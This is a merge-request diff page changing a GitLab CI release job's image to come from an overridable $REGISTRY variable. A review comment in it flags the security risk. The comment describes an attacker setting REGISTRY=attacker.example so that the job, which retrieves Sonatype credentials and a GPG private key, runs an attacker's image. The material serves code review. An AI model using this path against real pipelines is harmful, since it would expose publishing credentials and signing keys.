Skip to content
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion .gitlab-ci.yml
Original file line number Diff line number Diff line change
Expand Up @@ -17,7 +17,7 @@ deploy_to_sonatype:
tags:
- "docker-in-docker:amd64"

image: maven:3.9-eclipse-temurin-17
image: $REGISTRY/images/mirror/maven:3.9-eclipse-temurin-17

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Pin the release image registry

For this manual release job, GitLab supports CI/CD variables in image and manual/pipeline variables have higher precedence than top-level .gitlab-ci.yml defaults, so a user who can start the job with variables can set REGISTRY=attacker.example and make the secret-fetching release job run from attacker.example/images/mirror/maven:.... Because the script then retrieves Sonatype credentials and the GPG private key from SSM, keep this image reference fixed to the trusted registry instead of using an externally overrideable variable.

Useful? React with 👍 / 👎.

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I guess this is a concern. Is there a reason we can't just hardcode $REGISTRY?

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Easier to maintain if this needs to change. Users with access to Gitlab to run the pipeline will likely have write access, I'm not sure this would actually protect us from anything.


script:
# Ensure we don't print commands being run to the logs during credential
Expand Down
Loading